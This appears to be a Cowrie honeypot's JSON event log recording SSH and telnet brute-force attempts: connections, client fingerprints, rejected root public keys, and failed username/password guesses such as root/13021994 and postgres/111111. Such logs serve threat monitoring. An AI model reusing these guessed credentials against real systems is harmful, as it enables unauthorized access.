{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:1d:d7:5d:6b:15:ff:ee:15:5f:9f:cd:3a:d0:91:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnvTelEoq4N8+iODHFhg0HP6yqU+vSyQVMIAz52WaYd0dIgojxsdXEGcKfI7kIMYu3zNbfjnIsltOX98isfwpX02nkhr/GnwFrIp614B/Q7rsuG7UjzjncHV4V/Oxy8+MSAQIHBbjkXn91SnUhPbzi5dOIBq9McYIgLf8GUV8GRmglaxhVfRsL768Y0n4Oc1/T35lqBix57zUSZmoaxY2wxK6z69dvxYaOM7CHEuWdgSVP+/EnqZ3Z9I6csogCjXdK4WbN3Vz9KLdJcnOdt5XYyvQj+TKa7ZChNk+vZ7+3qvyCq9q3blzWCjgGSxgO0SbfJwvHc2KumpS9tNhDtYA9miM7JBfC7svfKkgvYQR2youV/Jvk4mg+/gClnE5JpHhAse61m6wzBe4387gptrhV5hY7msWWe/wqvi6aXfvUinroLaWOBzcACmCKr+3ZxS0j3cQeY4wf23QjQhQqHO7lVEzy+L9vQOgw03hrKXk1jbcrEEG9c6XAFmA015T1Hgk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:1d:d7:5d:6b:15:ff:ee:15:5f:9f:cd:3a:d0:91:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:51.969508Z","src_ip":"102.223.47.171","session":"709a5cabdb89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:1d:d7:5d:6b:15:ff:ee:15:5f:9f:cd:3a:d0:91:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnvTelEoq4N8+iODHFhg0HP6yqU+vSyQVMIAz52WaYd0dIgojxsdXEGcKfI7kIMYu3zNbfjnIsltOX98isfwpX02nkhr/GnwFrIp614B/Q7rsuG7UjzjncHV4V/Oxy8+MSAQIHBbjkXn91SnUhPbzi5dOIBq9McYIgLf8GUV8GRmglaxhVfRsL768Y0n4Oc1/T35lqBix57zUSZmoaxY2wxK6z69dvxYaOM7CHEuWdgSVP+/EnqZ3Z9I6csogCjXdK4WbN3Vz9KLdJcnOdt5XYyvQj+TKa7ZChNk+vZ7+3qvyCq9q3blzWCjgGSxgO0SbfJwvHc2KumpS9tNhDtYA9miM7JBfC7svfKkgvYQR2youV/Jvk4mg+/gClnE5JpHhAse61m6wzBe4387gptrhV5hY7msWWe/wqvi6aXfvUinroLaWOBzcACmCKr+3ZxS0j3cQeY4wf23QjQhQqHO7lVEzy+L9vQOgw03hrKXk1jbcrEEG9c6XAFmA015T1Hgk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:51.972121Z","src_ip":"102.223.47.171","session":"709a5cabdb89","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:f6:a9:42:2e:e8:5b:fe:54:40:fd:20:22:79:48:17","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALyrbY8COZcBHUhh/aS3lxqpJ4WB1MYnDXN3t8jx8qwPYAvSv59gcllb85VH54zHEyeAP/R1dcI9Z16bR537eWB8oou+cVRJQ51dYcx7OqMWlgbF0NDSPFnwdzqNgdKLx1nz0RhHGsBlD2kf9yDchDzHkZb1xTkme4Bp3y8/JVtTAAAAFQD4zinY3nJAKRzXbRgx7BJb/6ZhowAAAIEAsN9ZZ3k1kq175qZZqbmuVeeSiz5I60JCclEDsklxa8ar01gbyIat0drBWOjBucJATNEta02Ea2FhnqcmAts9DW9dv3kFnZSS9u4OVbOWIbVx+TZ9i61dB/XSJY49vzsoBYo2GyWmrE2sPkjrZ7hmgOOUb/7Ez8JsZfjjkJyF+1QAAACBAI+r4e1GzCKtwFRQWvaYfBs+/TTenPlFBjlXw+gc6ak8oR2OHWjJAfgFsZn7oQAXUnQsVYJJxDd6AIjTjFUub6lm6ZbeFbx4iBMdRy1yGbVMZJwnT2HNVYCCJAVVczTcmAY1IDxkyg7tC+AkQ89R8loEbqfN1SBm0D6t9vx0jyXn","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 05:f6:a9:42:2e:e8:5b:fe:54:40:fd:20:22:79:48:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:52.196775Z","src_ip":"102.223.47.171","session":"709a5cabdb89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:f6:a9:42:2e:e8:5b:fe:54:40:fd:20:22:79:48:17","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALyrbY8COZcBHUhh/aS3lxqpJ4WB1MYnDXN3t8jx8qwPYAvSv59gcllb85VH54zHEyeAP/R1dcI9Z16bR537eWB8oou+cVRJQ51dYcx7OqMWlgbF0NDSPFnwdzqNgdKLx1nz0RhHGsBlD2kf9yDchDzHkZb1xTkme4Bp3y8/JVtTAAAAFQD4zinY3nJAKRzXbRgx7BJb/6ZhowAAAIEAsN9ZZ3k1kq175qZZqbmuVeeSiz5I60JCclEDsklxa8ar01gbyIat0drBWOjBucJATNEta02Ea2FhnqcmAts9DW9dv3kFnZSS9u4OVbOWIbVx+TZ9i61dB/XSJY49vzsoBYo2GyWmrE2sPkjrZ7hmgOOUb/7Ez8JsZfjjkJyF+1QAAACBAI+r4e1GzCKtwFRQWvaYfBs+/TTenPlFBjlXw+gc6ak8oR2OHWjJAfgFsZn7oQAXUnQsVYJJxDd6AIjTjFUub6lm6ZbeFbx4iBMdRy1yGbVMZJwnT2HNVYCCJAVVczTcmAY1IDxkyg7tC+AkQ89R8loEbqfN1SBm0D6t9vx0jyXn","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:52.199627Z","src_ip":"102.223.47.171","session":"709a5cabdb89","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:54:1e:22:69:01:74:4d:fa:a9:72:09:34:83:f4:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0Y+hbx4u5T7bZNM8sLz/OghL1GzWGh0iT4s7MD3r0u1gDoq/gWDb4t+C8BtW8pd6Vy0w9oOB9bK/UlP2GXUFSatZCDgF2jJ5ISudDwK35KA1fJaiKDA0fVlH0nB7Bgw+Z78/KIZxiqTUr8KbuDIADaIftSGHpjHEuouhmj021QulwU14DT3IXkxNPvSLetrsqLJVsGGB0ZR5P37OCh9NhXuyN/szh8Ue1Trst/NzNtCEqzgt+qddyyTgJoX7x6PrnMLeo6x9rNhkm04XLsYk42VPxfV0/0q7fiTvLoNfHtqn0PCltLSmxJik8/pl9GZPcOFZIcHw0EpeRyL0j/HkDrwVzMnVKs9FdCe19nN6Zkd+hvqYEZbto7LN79O+qkjCKSUnwHTd6GSpuWR6DQyA9TaCJ6OLHdeT/2MlKqucIz3t9pD1yfvXqgNN+7L+ap/QQrlvxKOtEiucS8xXGzd38qVPQIOtN0Qdkd7lQ8KpLEkpItW7MRSgf7TByUqJkEMk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:54:1e:22:69:01:74:4d:fa:a9:72:09:34:83:f4:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:52.423699Z","src_ip":"102.223.47.171","session":"709a5cabdb89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:54:1e:22:69:01:74:4d:fa:a9:72:09:34:83:f4:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0Y+hbx4u5T7bZNM8sLz/OghL1GzWGh0iT4s7MD3r0u1gDoq/gWDb4t+C8BtW8pd6Vy0w9oOB9bK/UlP2GXUFSatZCDgF2jJ5ISudDwK35KA1fJaiKDA0fVlH0nB7Bgw+Z78/KIZxiqTUr8KbuDIADaIftSGHpjHEuouhmj021QulwU14DT3IXkxNPvSLetrsqLJVsGGB0ZR5P37OCh9NhXuyN/szh8Ue1Trst/NzNtCEqzgt+qddyyTgJoX7x6PrnMLeo6x9rNhkm04XLsYk42VPxfV0/0q7fiTvLoNfHtqn0PCltLSmxJik8/pl9GZPcOFZIcHw0EpeRyL0j/HkDrwVzMnVKs9FdCe19nN6Zkd+hvqYEZbto7LN79O+qkjCKSUnwHTd6GSpuWR6DQyA9TaCJ6OLHdeT/2MlKqucIz3t9pD1yfvXqgNN+7L+ap/QQrlvxKOtEiucS8xXGzd38qVPQIOtN0Qdkd7lQ8KpLEkpItW7MRSgf7TByUqJkEMk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:52.426711Z","src_ip":"102.223.47.171","session":"709a5cabdb89","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:00:15:55:42:f6:e1:de:51:e2:f2:4b:72:ae:42:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDl7JHEBRQtngR2ih2RYCmnhWa1EdVufJQVbQghQFrsLUXQdJZzAdpbMdaJZBYauoC1LBzGeHWZ18B47e9R/Oq05tN7x9YluQAzbSVXOwH381UMXEpDckVyIJe/0cpe8x4hX4DcW4rrEkSFYnkCYz5v/Pb81UiZkXYImuCn2iKomzHWRcD6WGl1oBz7rmMIjB4Y8Qxtk3q8aAhq3MhMY+1Uv7Sn1E5XsL1Yuv5rR65BSgzF6X0DTIf1CCu4pufLC/d/NRNHOr9scH+0Dh9Pcz+RBD4cNFE09O25O843YRZSF+EMlDms7IgBJHViwS5P5HZuWSigQwcCWZ6eYOK2AO+BSYm3WHGvG88m7XnfTZ/z/JIVh5ESIB9CgyGTEqtmMqtYeSqdHuGXZ5y/dLsyJom/nJue1VxrVflxm+YTMpM/gpSKPekZ2JgeqR8Z5NXjjLVypSItyjU+TcV95rhdS+xHtVrbhaG/y8dHNP7AtHAKHN98aJVus0woiDfuGXpuF1s=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:00:15:55:42:f6:e1:de:51:e2:f2:4b:72:ae:42:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:52.653296Z","src_ip":"102.223.47.171","session":"709a5cabdb89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:00:15:55:42:f6:e1:de:51:e2:f2:4b:72:ae:42:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDl7JHEBRQtngR2ih2RYCmnhWa1EdVufJQVbQghQFrsLUXQdJZzAdpbMdaJZBYauoC1LBzGeHWZ18B47e9R/Oq05tN7x9YluQAzbSVXOwH381UMXEpDckVyIJe/0cpe8x4hX4DcW4rrEkSFYnkCYz5v/Pb81UiZkXYImuCn2iKomzHWRcD6WGl1oBz7rmMIjB4Y8Qxtk3q8aAhq3MhMY+1Uv7Sn1E5XsL1Yuv5rR65BSgzF6X0DTIf1CCu4pufLC/d/NRNHOr9scH+0Dh9Pcz+RBD4cNFE09O25O843YRZSF+EMlDms7IgBJHViwS5P5HZuWSigQwcCWZ6eYOK2AO+BSYm3WHGvG88m7XnfTZ/z/JIVh5ESIB9CgyGTEqtmMqtYeSqdHuGXZ5y/dLsyJom/nJue1VxrVflxm+YTMpM/gpSKPekZ2JgeqR8Z5NXjjLVypSItyjU+TcV95rhdS+xHtVrbhaG/y8dHNP7AtHAKHN98aJVus0woiDfuGXpuF1s=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:52.656065Z","src_ip":"102.223.47.171","session":"709a5cabdb89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:52.880682Z","src_ip":"102.223.47.171","session":"709a5cabdb89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":34386,"dst_ip":"10.17.0.5","dst_port":22,"session":"4434b3dab74d","protocol":"ssh","message":"New connection: 103.15.222.183:34386 (10.17.0.5:22) [session: 4434b3dab74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:28:13.367357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:28:13.371599Z","src_ip":"103.15.222.183","session":"4434b3dab74d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:28:13.600052Z","src_ip":"103.15.222.183","session":"4434b3dab74d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13021994","message":"login attempt [root/13021994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:28:14.286741Z","src_ip":"103.15.222.183","session":"4434b3dab74d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:28:15.518292Z","src_ip":"103.15.222.183","session":"4434b3dab74d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46094,"dst_ip":"159.203.135.109","dst_port":23,"session":"36165453d53f","protocol":"telnet","message":"New connection: 170.64.224.25:46094 (159.203.135.109:23) [session: 36165453d53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:28:18.345216Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":47502,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a7213e6c0b5","protocol":"ssh","message":"New connection: 91.92.40.4:47502 (10.17.0.5:22) [session: 9a7213e6c0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:28:19.203498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:28:19.210972Z","src_ip":"91.92.40.4","session":"9a7213e6c0b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:28:19.293051Z","src_ip":"91.92.40.4","session":"9a7213e6c0b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"111111","message":"login attempt [postgres/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:28:19.545168Z","src_ip":"91.92.40.4","session":"9a7213e6c0b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:28:20.630164Z","src_ip":"91.92.40.4","session":"9a7213e6c0b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46110,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4a3afdd9644","protocol":"telnet","message":"New connection: 170.64.224.25:46110 (159.203.135.109:23) [session: d4a3afdd9644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:28:24.528259Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54232,"dst_ip":"159.203.135.109","dst_port":23,"session":"95130cdb18ee","protocol":"telnet","message":"New connection: 170.64.224.25:54232 (159.203.135.109:23) [session: 95130cdb18ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:28:30.095530Z"}
{"eventid":"cowrie.session.closed","duration":21.92551875114441,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:28:52.020933Z","src_ip":"170.64.224.25","session":"95130cdb18ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49240,"dst_ip":"159.203.135.109","dst_port":23,"session":"c416c287c0b5","protocol":"telnet","message":"New connection: 170.64.224.25:49240 (159.203.135.109:23) [session: c416c287c0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:28:57.141258Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":52932,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ac09cf00acf","protocol":"ssh","message":"New connection: 192.163.244.125:52932 (10.17.0.5:22) [session: 2ac09cf00acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:02.534539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:02.538627Z","src_ip":"192.163.244.125","session":"2ac09cf00acf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:02.615538Z","src_ip":"192.163.244.125","session":"2ac09cf00acf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"youhodlerapp","password":"youhodler123","message":"login attempt [youhodlerapp/youhodler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:02.829581Z","src_ip":"192.163.244.125","session":"2ac09cf00acf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:03.902349Z","src_ip":"192.163.244.125","session":"2ac09cf00acf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.17128324508667,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:06.516009Z","src_ip":"170.64.224.25","session":"36165453d53f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.67145323753357,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:10.199555Z","src_ip":"170.64.224.25","session":"d4a3afdd9644","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44734,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4673c0fef8f","protocol":"telnet","message":"New connection: 170.64.224.25:44734 (159.203.135.109:23) [session: c4673c0fef8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:16.422033Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":55028,"dst_ip":"10.17.0.5","dst_port":22,"session":"36c25e3385e4","protocol":"ssh","message":"New connection: 147.45.211.215:55028 (10.17.0.5:22) [session: 36c25e3385e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:24.138115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:24.141768Z","src_ip":"147.45.211.215","session":"36c25e3385e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:24.315330Z","src_ip":"147.45.211.215","session":"36c25e3385e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lbvf2000","message":"login attempt [root/lbvf2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:24.841391Z","src_ip":"147.45.211.215","session":"36c25e3385e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:29:26.025170Z","src_ip":"147.45.211.215","session":"36c25e3385e4","protocol":"ssh"}
